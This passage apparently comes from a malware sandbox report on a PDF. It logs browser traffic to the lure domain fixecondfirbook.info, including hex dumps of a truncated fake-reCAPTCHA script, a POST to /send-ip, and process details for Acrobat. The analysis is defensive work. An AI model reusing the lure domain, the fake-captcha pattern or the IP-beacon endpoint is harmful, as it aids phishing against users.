((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.toLow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49742	18.245.31.53	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:25 UTC	629	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:25 UTC	768	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Mon, 06 Jan 2025 04:05:32 GMT Last-Modified: Mon, 07 Sep 2020 09:08:23 GMT ETag: "5f55f887-282" Expires: Wed, 05 Feb 2025 04:05:32 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 b5baf61905dac15e74c27872e28ce3ae.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: QcRMf6JDfbusT40cNRnaB33-P-znqdsZ26nb3BrQz63mt8ZivjrWSQ== Age: 907853
2025-01-16 16:16:25 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49743	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:25 UTC	361	OUT	GET /captchaHandler.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:25 UTC	962	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 586 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:38 GMT ETag: W/"24a-19440759fb0" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IgX9bGz4zbu6e4vfM35Ug9FPaszcygTuFmvBFRi7an8YfK96DpkXx73X%2Bd5YUvgBlT8VV4K8Z6WmTuG1%2FrdEz9CToHUkvoptTCvQ7X1jrfYO9UWGMBLVg8JoAT9zte8737pnoLMnLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f68ee5effab22-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14260&min_rtt=14250&rtt_var=5351&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=939&delivery_rate=204912&cwnd=32&unsent_bytes=0&cid=a76af2360c92edd9&ts=376&x=0"
2025-01-16 16:16:25 UTC	407	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 72 65 63 61 70 74 63 68 61 2d 63 68 65 63 6b 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 20 28 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 d0 9e d1 82 d0 bf d1 80 d0 b0 Data Ascii: document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { //
2025-01-16 16:16:25 UTC	179	IN	Data Raw: 20 20 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 6f 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 20 0a Data Ascii: if (response.ok) { console.log(''); } else { console.error(''); } }); }); }});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49745	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:25 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:25 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:25 GMT Content-Type: image/x-icon Content-Length: 610 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"262-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cdmGMZ1sXcp8b6t7vtbSt5pDbHMwBXO4MMjV2l3r3AUfy1sHBPVw7FZWA%2FHMHBAvkxi%2B%2BM5ab8cLjzr7outtiXrAn0A0cIs9VZ1NmqF2XIPn%2FL0aXXIVR3Dt%2F2MHC%2BJNlBpNq5Pvww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f68effbc5ab45-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14213&min_rtt=14188&rtt_var=5371&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1174&delivery_rate=202918&cwnd=32&unsent_bytes=0&cid=8db21d8ed227d622&ts=415&x=0"
2025-01-16 16:16:25 UTC	423	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 29 49 44 41 54 58 85 d5 97 3f 4c 1a 61 18 c6 7f 77 31 b0 1c 82 c9 0d 12 13 4b 53 89 9d 5a 18 ba 68 4d 8c 5d a4 8b ba d0 c1 10 b1 63 5d ba 52 17 16 db b9 31 76 a3 68 4c 17 bb c0 74 53 5b 5b aa 8b 83 d0 cd 48 83 31 69 5d 18 6c 64 b1 21 b1 03 70 70 78 fc b9 e3 e0 d2 67 e3 7b 73 f7 fc ee 7d bf ef 21 9f 40 4d d3 5b e3 c0 2e 30 05 0c d1 1f 95 81 43 20 c2 c1 da 39 80 50 35 0f 03 1f fa 68 ac 07 b2 cc c1 da 9e 50 fd f2 9f 03 34 6f 84 b8 27 52 69 fb a0 cd a9 7a ee 8a 54 66 6e 97 a6 44 ec f9 fa 9a 86 ba 32 f7 79 5d f8 46 87 35 6b fb c7 bf ac 21 e8 c6 3c 9b 7c 86 5b 72 e8 d6 d3 99 02 f1 f7 47 64 4f 8b a6 00 c4 76 45 8f e4 24 f5 26 d4 d2 1c 60 61 e6 2e fb 9b 8b Data Ascii: PNGIHDR szz)IDATX?Law1KSZhM]c]R1vhLtS[[H1i]ld!ppxg{s}!@M[.0C 9P5hP4o'RizTfnD2y]F5k!<\|[rGdOvE$&`a.
2025-01-16 16:16:25 UTC	187	IN	Data Raw: 61 00 43 23 68 de 64 d9 d3 a2 a6 23 66 d2 b0 e7 3d e0 69 13 d3 01 bf dc 71 6f 98 fe 2b f6 48 4e a2 4f ef 6b a2 3a db 90 8c db eb 4f d4 13 b3 a3 9c 10 dd f8 a4 fb 1e 81 e9 ad 9b 56 26 b3 c1 31 be 6c 2e 74 0d b5 14 53 48 65 0a 00 dc 7c 7f a1 a9 05 57 f7 74 73 c2 b2 63 b8 a3 9c a8 e6 7a 6a 95 92 3d 03 a4 33 05 96 62 ca ad 16 af be ae 07 d3 db 8f 3f 38 bb b8 d2 7d be ed 08 06 21 cb 46 f0 5f 03 94 6d f4 2f 8b 54 ee 6a 76 e9 50 04 22 d8 d3 85 32 10 11 ab b7 d4 e5 01 43 d4 2e a7 e7 82 ba 64 d3 f5 fc 1f 98 86 a2 c4 41 31 cb af 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: aC#hd#f=iqo+HNOk:OV&1l.tSHe\|Wtsczj=3b?8}!F_m/TjvP"2C.dA1IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49746	18.245.31.49	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:26 UTC	389	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:26 UTC	768	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Mon, 06 Jan 2025 04:05:32 GMT Last-Modified: Mon, 07 Sep 2020 09:08:23 GMT ETag: "5f55f887-282" Expires: Wed, 05 Feb 2025 04:05:32 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 b0723c68cc136f4e89ad2f6a85c82e12.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: BUgkaS2pjjdDuKdlRTDvlEglWEozqT7odY-6KJZJeyihgwJDuyeiww== Age: 907854
2025-01-16 16:16:26 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49748	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:16:26 UTC	355	OUT	GET /favicon.ico HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:16:27 UTC	941	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:16:27 GMT Content-Type: image/x-icon Content-Length: 610 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"262-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ztJNlfJJ1A22xldSaDdGvSxzaBt4imuD1mYyTruLv7E8qYjqbclSkxSfVlvt%2BSIg2nl4FeUMeYz0cj1YoUG36hpIZjotqGbFS15sgk5qrzJ3UyViO%2B4kD%2BFhsg1OawLRP6OfZ1%2FE1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f68f87c90ebbc-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13761&min_rtt=13755&rtt_var=5171&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=933&delivery_rate=211486&cwnd=32&unsent_bytes=0&cid=9a8c7b5e03cfca9a&ts=272&x=0"
2025-01-16 16:16:27 UTC	428	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 29 49 44 41 54 58 85 d5 97 3f 4c 1a 61 18 c6 7f 77 31 b0 1c 82 c9 0d 12 13 4b 53 89 9d 5a 18 ba 68 4d 8c 5d a4 8b ba d0 c1 10 b1 63 5d ba 52 17 16 db b9 31 76 a3 68 4c 17 bb c0 74 53 5b 5b aa 8b 83 d0 cd 48 83 31 69 5d 18 6c 64 b1 21 b1 03 70 70 78 fc b9 e3 e0 d2 67 e3 7b 73 f7 fc ee 7d bf ef 21 9f 40 4d d3 5b e3 c0 2e 30 05 0c d1 1f 95 81 43 20 c2 c1 da 39 80 50 35 0f 03 1f fa 68 ac 07 b2 cc c1 da 9e 50 fd f2 9f 03 34 6f 84 b8 27 52 69 fb a0 cd a9 7a ee 8a 54 66 6e 97 a6 44 ec f9 fa 9a 86 ba 32 f7 79 5d f8 46 87 35 6b fb c7 bf ac 21 e8 c6 3c 9b 7c 86 5b 72 e8 d6 d3 99 02 f1 f7 47 64 4f 8b a6 00 c4 76 45 8f e4 24 f5 26 d4 d2 1c 60 61 e6 2e fb 9b 8b Data Ascii: PNGIHDR szz)IDATX?Law1KSZhM]c]R1vhLtS[[H1i]ld!ppxg{s}!@M[.0C 9P5hP4o'RizTfnD2y]F5k!<\|[rGdOvE$&`a.
2025-01-16 16:16:27 UTC	182	IN	Data Raw: de 64 d9 d3 a2 a6 23 66 d2 b0 e7 3d e0 69 13 d3 01 bf dc 71 6f 98 fe 2b f6 48 4e a2 4f ef 6b a2 3a db 90 8c db eb 4f d4 13 b3 a3 9c 10 dd f8 a4 fb 1e 81 e9 ad 9b 56 26 b3 c1 31 be 6c 2e 74 0d b5 14 53 48 65 0a 00 dc 7c 7f a1 a9 05 57 f7 74 73 c2 b2 63 b8 a3 9c a8 e6 7a 6a 95 92 3d 03 a4 33 05 96 62 ca ad 16 af be ae 07 d3 db 8f 3f 38 bb b8 d2 7d be ed 08 06 21 cb 46 f0 5f 03 94 6d f4 2f 8b 54 ee 6a 76 e9 50 04 22 d8 d3 85 32 10 11 ab b7 d4 e5 01 43 d4 2e a7 e7 82 ba 64 d3 f5 fc 1f 98 86 a2 c4 41 31 cb af 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: d#f=iqo+HNOk:OV&1l.tSHe\|Wtsczj=3b?8}!F_m/TjvP"2C.dA1IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	63410	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:17:36 UTC	586	OUT	POST /send-ip HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://fixecondfirbook.info Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:17:36 UTC	826	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:17:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0vSSenixZfdMsCYN%2B%2BmUzHuxMfq7q0mTFDKs08l%2FsrnTYonCErp5cb2zrLku%2B2AfmkqUYTX1%2F4XXWb2NzGk3yMiX2rLRWX3S5gKWTgsQBpzuOhprd1e%2FHKlmKGi6YGbA8oxZzLPHBA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6aa9282b7fbe-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7158&min_rtt=7147&rtt_var=2703&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=1164&delivery_rate=403259&cwnd=32&unsent_bytes=0&cid=ab1f43e7e4a93eb0&ts=761&x=0"
2025-01-16 16:17:36 UTC	27	IN	Data Raw: 31 35 0d 0a 49 50 20 d0 be d1 82 d0 bf d1 80 d0 b0 d0 b2 d0 bb d0 b5 d0 bd 0d 0a Data Ascii: 15IP
2025-01-16 16:17:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	63412	104.21.94.195	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:17:37 UTC	351	OUT	GET /send-ip HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:17:38 UTC	906	IN	HTTP/1.1 404 Not Found Date: Thu, 16 Jan 2025 16:17:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FhZvlsXb8cBwtXwAKke%2BLKPkPlfPIVqN7mEmxotuSzdOTPYuqz4v5t0vw5LqedK2hnO9mrrA396hZBM4UzngHbIedsFAX8AlwOFD53x8%2B65LHWH3WR0oH5uQZrBE3wriXdD1zUen6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6ab45a19ab12-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13917&min_rtt=13901&rtt_var=5245&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=929&delivery_rate=208125&cwnd=32&unsent_bytes=0&cid=7b080a847504fd3a&ts=374&x=0"
2025-01-16 16:17:38 UTC	152	IN	Data Raw: 39 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 73 65 6e 64 2d 69 70 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 92<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /send-ip</pre></body></html>
2025-01-16 16:17:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	63414	35.190.80.1	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:17:38 UTC	551	OUT	OPTIONS /report/v4?s=%2FhZvlsXb8cBwtXwAKke%2BLKPkPlfPIVqN7mEmxotuSzdOTPYuqz4v5t0vw5LqedK2hnO9mrrA396hZBM4UzngHbIedsFAX8AlwOFD53x8%2B65LHWH3WR0oH5uQZrBE3wriXdD1zUen6Q%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://fixecondfirbook.info Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:17:38 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 16 Jan 2025 16:17:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	63415	35.190.80.1	443	6464	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:17:39 UTC	488	OUT	POST /report/v4?s=%2FhZvlsXb8cBwtXwAKke%2BLKPkPlfPIVqN7mEmxotuSzdOTPYuqz4v5t0vw5LqedK2hnO9mrrA396hZBM4UzngHbIedsFAX8AlwOFD53x8%2B65LHWH3WR0oH5uQZrBE3wriXdD1zUen6Q%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 398 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:17:39 UTC	398	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 33 37 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 34 2e 31 39 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 66 69 78 65 63 6f 6e 64 66 69 72 62 6f 6f 6b Data Ascii: [{"age":0,"body":{"elapsed_time":1373,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.94.195","status_code":404,"type":"http.error"},"type":"network-error","url":"https://fixecondfirbook
2025-01-16 16:17:39 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 16 Jan 2025 16:17:39 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	1
Start time:	11:15:48
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\shJGPJRkwH.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:15:50
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
